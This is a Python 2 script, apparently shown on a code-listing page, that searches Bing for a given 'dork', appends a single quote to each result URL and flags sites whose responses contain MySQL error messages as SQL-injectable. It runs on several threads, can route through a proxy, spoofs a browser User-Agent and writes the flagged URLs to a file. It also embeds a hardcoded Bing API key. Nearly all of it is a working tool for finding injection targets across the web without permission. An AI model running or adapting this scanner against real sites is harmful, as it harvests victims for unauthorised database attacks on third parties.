./others/bing_sqli_scan.py

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
#/usr/bin/env python
#
# Author: 10n1z3d <10n1z3d[at]w[dot]cn>
# Version: 1.0
# Date: 2009-10-21
#
# Uses Bing API to search given "dork" and then checks 
# every result for possible SQL injection vulnerabillity 
# by adding "'" (single quote) to the end of URL, making request 
# and searching the response's source for error messages.
 
import re
import sys
import time
import Queue
import urllib
import urllib2
import threading
from xml.dom import minidom
 
# change these if needed
USER_AGENT = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3'
BING_APP_ID = 'C2B36F733D8DCB48CE2E075CC145014122BE4724' # might get banned after a while
 
# do not change below
VERSION = 1.0
 
DORK = ''
PROXY = ''
FILE_NAME = 'vuln_to_sqli.txt'
CHAR = "'"
MYSQL_ERROR = 'error in your SQL syntax'
 
SCAN_AMOUNT = 50
NUM_THREADS = 5
SCANNED = 0
MAX_THREADS = 10
 
VERBOSE_MODE = False
USE_PROXY = False
CREATE_FILE = True
 
BING_URLS = []
VULN_URLS = []
 
HEADER =  '\t     _____ _            \n'\
          '\t    | __  |_|___ ___    \n'\
          '\t    | __ -| |   | . |   \n'\
          '\t    |_____|_|_|_|_  |   \n'\
          '\t                |___|   \n'\
          '\t   MySQL Error Scanner  \n'\
          '\t   10n1z3d[at]w[dot]cn  \n'
 
# Prints out the usage and options
def printHelp():
    print 'Usage: ./bing_sqli_scan.py <dork> <url amount to check> <threadcount> [options]\n'
    print 'Options: -p, --proxy    <ip:port>   |   Use proxy (http only)'
    print '         -v, --verbose              |   Verbose mode on'
    print '         -f, --file     <filename>  |   Output file'
    print '         -e, --error    <error>     |   Error for which to look for'
    print '                                        Default is: "%s"\n' % MYSQL_ERROR
    print 'Example: ./bing_mysqli_scan.py images.php?id= 500 5 -p 123.124.123.124:8080 -v -f vuln.txt\n'
 
# Parses the script arguments
def parseArgs():
    global DORK, PROXY, FILE_NAME, SCAN_AMOUNT, VERBOSE_MODE, NUM_THREADS, MYSQL_ERROR, CREATE_FILE, USE_PROXY
 
    DORK = sys.argv[1]
 
    if int(sys.argv[3]) <= MAX_THREADS:
        NUM_THREADS = int(sys.argv[3])
    else:
        print '[-] The maximun thread count is %s. Quitting...' % MAX_THREADS
        exit(0)
 
    if not int(sys.argv[2]) % 50:
        SCAN_AMOUNT = int(sys.argv[2])
    else:
        print '\n[-] Invalid scan amount, the step is 50, e.g. 50, 100, 150, 200... Quitting...\n'
        exit(0)
 
    for arg in sys.argv[1:]:
        if arg.lower() == '-h' or arg.lower() == '--help':
            printHelp()
            exit(0)
 
        if arg.lower() == '-p' or arg.lower() == '--proxy':
            PROXY = sys.argv[int(sys.argv[1:].index(arg))+2]
            USE_PROXY = True
 
        if arg.lower() == '-v' or arg.lower() == '--verbose':
            VERBOSE_MODE = True
 
        if arg.lower() == '-f' or arg.lower() == '--file':
            FILE_NAME = sys.argv[int(sys.argv[1:].index(arg))+2]
            CREATE_FILE = True
 
        if arg.lower() == '-e' or arg.lower() == '--error':
            MYSQL_ERROR = sys.argv[int(sys.argv[1:].index(arg))+2]
 
# Parses the Bing search result
def bingSearch(query, index):
    global BING_URLS
 
    url = 'http://api.search.live.net/xml.aspx?Appid='+BING_APP_ID+'&query='\
          +urllib.quote(query)+'&sources=web&market=en-us&web.count=50&web.offset='+str(index)
    xml = minidom.parse(urllib2.urlopen(url))
 
    for node in xml.getElementsByTagName('web:Url'):
        BING_URLS.append(node.childNodes[0].data)
 
# Checks the urls for errors
class sqliScanner(threading.Thread):
    def __init__(self, queue):
        self.__queue = queue
        threading.Thread.__init__(self)
 
    def run(self):
        global SCANNED
        while True:
            url = self.__queue.get()
            if url is None:
                break
 
            if VERBOSE_MODE:
                sys.stdout.write('[+] Scanning => %s\n' % url)
 
            try:
                if USE_PROXY:
                    proxyHandler = urllib2.ProxyHandler({'http' : 'http://' + PROXY + '/'})
                    opener = urllib2.build_opener(proxyHandler)
                    opener.addheaders = [('User-Agent', USER_AGENT)]
                    response = opener.open(url + CHAR).read()
                else:
                    req = urllib2.Request(url + CHAR)
                    req.add_header('User-Agent', USER_AGENT)
                    response = urllib2.urlopen(req).read()
 
                if re.search(MYSQL_ERROR, response):
                    if not url in VULN_URLS:
                        sys.stdout.write("[+] Found Error => %s'\n" % url)
                        VULN_URLS.append(url)
            except:
                pass
 
            SCANNED += 1
 
# Starts the 
def startThreads():
    queue = Queue.Queue(0)
    for i in range(NUM_THREADS):
        inst = sqliScanner(queue).start()
 
    for i in range(len(BING_URLS)):
        queue.put(BING_URLS[i])
 
    for i in range(NUM_THREADS):
        queue.put(None)
 
# Writes the output file
def writeResults():
    handle = open(FILE_NAME, 'a')
    handle.write(HEADER)
    handle.write('\n[+] Dork: %s\n' % DORK)
    handle.write('[+] Sites Scanned: %s\n' % len(BING_URLS))
    handle.write('[+] Vulnerable: %s\n' % len(VULN_URLS))
    handle.write('\n[+] Scan results for "%s":\n\n' % DORK)
 
    for url in VULN_URLS:
        handle.write(url+"'\n")
    handle.close()
 
# Main 
def main():
    print HEADER
    if len(sys.argv) not in [4,5,6,7,8,9,10]:
        printHelp()
        exit(0)
    else:
        parseArgs()
        print '\n[+] Dork: %s' % DORK
        print '[+] Sites to scan: %s' % SCAN_AMOUNT
        print '[+] Scan threads: %s' % NUM_THREADS
        print '[+] Parsing %s Bing results...' % SCAN_AMOUNT
        for i in range(0, (SCAN_AMOUNT / 50)):
            bingSearch(DORK, 1+i)
        print '[+] Parsing done.'
        print '[+] Starting %s scan threads...' % NUM_THREADS
        startThreads()
        if not VERBOSE_MODE:
            print '[+] Scanning...\n'
        while SCANNED < len(BING_URLS):
            time.sleep(1)
        print '\n[+] Scanning done.\n'
        print '[+] Scanned %s URLs' % len(BING_URLS)
        print '[+] Vulnerable: %s' % len(VULN_URLS)
        if CREATE_FILE:
            print '[+] Creating "%s"...' % FILE_NAME
            writeResults()
        print '[+] Done.'
        exit(0)
 
if __name__ == "__main__":
    main()
 

Back